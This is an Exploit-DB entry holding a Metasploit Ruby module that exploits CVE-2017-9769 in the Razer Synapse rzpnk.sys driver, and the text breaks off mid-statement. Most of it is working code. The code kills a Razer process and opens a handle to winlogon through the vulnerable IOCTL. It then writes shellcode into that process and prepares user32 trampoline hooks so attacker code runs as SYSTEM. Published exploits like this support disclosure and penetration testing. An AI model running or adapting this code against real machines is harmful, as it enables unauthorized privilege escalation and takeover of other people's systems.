Exploit-DB #42368
Description: Razer Synapse 2.20.15.1104 - rzpnk.sys ZwOpenProcess (Metasploit)
Type: local
Platform: windows_x86-64
Date: 2017-07-24
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/local/windows_kernel'
require 'rex'
require 'metasm'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Local::WindowsKernel
  include Msf::Post::Windows::Priv

  # the max size our hook can be, used before it's generated for the allocation
  HOOK_STUB_MAX_LENGTH = 256

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Razer Synapse rzpnk.sys ZwOpenProcess',
      'Description'    => %q{
        A vulnerability exists in the latest version of Razer Synapse
        (v2.20.15.1104 as of the day of disclosure) which can be leveraged
        locally by a malicious application to elevate its privileges to those of
        NT_AUTHORITY\SYSTEM. The vulnerability lies in a specific IOCTL handler
        in the rzpnk.sys driver that passes a PID specified by the user to
        ZwOpenProcess. This can be issued by an application to open a handle to
        an arbitrary process with the necessary privileges to allocate, read and
        write memory in the specified process.

        This exploit leverages this vulnerability to open a handle to the
        winlogon process (which runs as NT_AUTHORITY\SYSTEM) and infect it by
        installing a hook to execute attacker controlled shellcode. This hook is
        then triggered on demand by calling user32!LockWorkStation(), resulting
        in the attacker's payload being executed with the privileges of the
        infected winlogon process. In order for the issued IOCTL to work, the
        RazerIngameEngine.exe process must not be running. This exploit will
        check if it is, and attempt to kill it as necessary.

        The vulnerable software can be found here:
        https://www.razerzone.com/synapse/. No Razer hardware needs to be
        connected in order to leverage this vulnerability.

        This exploit is not opsec-safe due to the user being logged out as part
        of the exploitation process.
      },
      'Author'         => 'Spencer McIntyre',
      'License'        => MSF_LICENSE,
      'References'     => [
        ['CVE', '2017-9769'],
        ['URL', 'https://warroom.securestate.com/cve-2017-9769/']
      ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Tested on (64 bits):
          # * Windows 7 SP1
          # * Windows 10.0.10586
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC'   => 'thread',
          'WfsDelay'   => 20
        },
      'DefaultTarget'  => 0,
      'Privileged'     => true,
      'DisclosureDate' => 'Mar 22 2017'))
  end

  def check
    # Validate that the driver has been loaded and that
    # the version is the same as the one expected
    client.sys.config.getdrivers.each do |d|
      if d[:basename].downcase == 'rzpnk.sys'
        expected_checksum = 'b4598c05d[PII_REDACTED]e25933fff42b0'
        target_checksum = client.fs.file.md5(d[:filename])

        if expected_checksum == Rex::Text.to_hex(target_checksum, '')
          return Exploit::CheckCode::Appears
        else
          return Exploit::CheckCode::Detected
        end
      end
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
    end

    if session.platform != 'windows'
      fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
    elsif session.arch != ARCH_X64
      fail_with(Failure::NoTarget, 'This exploit only supports x64 Windows targets')
    end

    pid = session.sys.process['RazerIngameEngine.exe']
    if pid
      # if this process is running, the IOCTL won't work but the process runs
      # with user privileges so we can kill it
      print_status("Found RazerIngameEngine.exe pid: #{pid}, killing it...")
      session.sys.process.kill(pid)
    end

    pid = session.sys.process['winlogon.exe']
    print_status("Found winlogon pid: #{pid}")

    handle = get_handle(pid)
    fail_with(Failure::NotVulnerable, 'Failed to open the process handle') if handle.nil?
    vprint_status('Successfully opened a handle to the winlogon process')

    winlogon = session.sys.process.new(pid, handle)
    allocation_size = payload.encoded.length + HOOK_STUB_MAX_LENGTH
    shellcode_address = winlogon.memory.allocate(allocation_size)
    winlogon.memory.protect(shellcode_address)
    print_good("Allocated #{allocation_size} bytes in winlogon at 0x#{shellcode_address.to_s(16)}")
    winlogon.memory.write(shellcode_address, payload.encoded)
    hook_stub_address = shellcode_address + payload.encoded.length

    result = session.railgun.kernel32.LoadLibraryA('user32')
    fail_with(Failure::Unknown, 'Failed to get a handle to user32.dll') if result['return'] == 0
    user32_handle = result['return']

    # resolve and backup the functions that we'll install trampolines in
    user32_trampolines = {}  # address => original chunk
    user32_functions = ['LockWindowStation']
    user32_functions.each do |function|
      address = get_address(user32_handle, function)
      winlogon.memory.protect(address)
      user32_trampolines[function] = {
        address:  address,
        original: winlogon.memory.read(address, 24)
      }
    end

    # generate and install the hook asm
    hook_stub = get_hook(shellcode_address, user32_trampolines)
    fail_with(Failure::Unknown, 'Failed to generate the hook stub') if hook_stub.nil?
    # if this happens, there was a programming error
    fail_with(Failure::Unknown,